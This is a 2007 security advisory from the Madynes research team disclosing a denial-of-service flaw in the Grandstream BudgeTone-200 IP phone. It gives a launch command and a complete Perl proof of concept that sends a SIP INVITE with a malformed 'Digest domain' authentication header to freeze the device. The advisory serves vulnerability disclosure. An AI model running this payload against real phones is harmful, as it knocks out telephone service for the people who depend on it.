MADYNES Security Advisory 

 

 <http://madynes.loria.fr/> http://madynes.loria.fr

 

 

Title: Grandstream Budge Tone-200 denial of service vulnerability 

 

Release Date:

      21/03/2007

 

Severity: 

      High - Denial of  Service

 

Advisory ID:KIPH3

 

Hardware: Grandstream Budge Tone-200 IP Phone
http://www.grandstream.com/consumerphones.html

      

 

Affected Versions: Program-- 1.1.1.14    Bootloader-- 1.1.1.5 

Other versions maybe.

 

      

 

Vulnerability Synopsis: After sending a crafted INVITE/CANCE or any message
with a "WWW-Authenticate" where the "Digest domain" is crafted the device
freezes provoking a DoS. 

 

 

Impact: A remote individual can remotely crash and perform a Denial of
Service(DoS) attack in all the services provided by the software by sending
one crafted SIP INVITE message. This is conceptually similar to the "ping of
death". 

 

Resolution:  The vendor was contacted at multiple times, the complete report
was sent, but no feedback whatsoever resulted.

 

Vulnerability Description: the device reboots after a crafted INVITE message
had been sent. 

 

Configuration of our device:

 

Software Version:   Program-- 1.1.1.14    Bootloader-- 1.1.1.5 

IP-Address obtained by DHCP as 192.168.1.105 

The configuration is the default

 

 

 

Vulnerability:

 

After sending a crafted INVITE, CANCEL or any message with a
"WWW-Authenticate" where the "Digest domain" is crafted the device freezes
provoking a DoS. 

 

Exploit:

 

To run the exploit the file invite_grandstream.pl should be launched
(assuming our configurations) as:

 

perl invite_grandstream.pl 192.168.1.105 5060 Fosforito 

 

Proof of Concept Code:

 

 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$AUTH = "WWW-Authenticate: Digest
domain=\"/-+:\@=\$\%D6\$;\$=;=\$=\$,\@\$.=;\@;;,&&+:::=\@/2\$&;6+;+=\%A5==;\
@:=;\$&\%A3:u,\@=\@;&;\@+::+&;+,,&/&\@=,;=&:&,=&:;:;;K+&\@=\%DA*\$;\@&+&:;/=
=\%37:\%A6;,\@\%ED,:=:\@,;\%DA;&\$)\$+=;+:\%FE\$:\@;&=,W;,g\%EF;\%FB:+\@O\$+
\%AF+;+:,&=\%CA\%EA;\$,\@+/;\@,-;:;,P&\@;_\$:\%C7&+&/!,\%EE\$:,\@:;;\@&\@,+,
z\@\$;\@\@\$\$::\@/=,\$3\%ED=\@+\%AE/=&\@;;\$;&\$\%FE:\@;\$+:\$\%EB\$=&:;&K&
;:\@\%EA,=\%BA6\%21;=&:\$\"\r\n";

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4bK056a27e7;rport\r\nFrom:
<sip:tucu\@192.168.1.2>;tag=as011d1185\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]>;$TOTAG\r\n$AUTH\CSeq: 6106 INVITE\r\Max-Forwards:
70\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

 

 

 

 

 

Credits:

      Humberto J. Abdelnur (Ph.D Student)

      Radu State (Ph.D)

      Olivier Festor (Ph.D)

      This vulnerability was identified by the Madynes research team at
INRIA

      Lorraine, using the Madynes VoIP fuzzer.

       <http://madynes.loria.fr/> http://madynes.loria.fr/

 

 

Disclosure Distribution: 

      The advisory will be posted on the following websites:

      

       <http://madynes.loria.fr/> http://madynes.loria.fr website

 

      The advisory will be posted to the following mailing lists:

 

      1)    full-disclosure@lists.grok.org.uk

      2)    voipsec@vopisa.org

 

 

Information about us: Madynes is a research team at INRIA Lorraine working
on VoIP Security assessment, intrusion detection and prevention.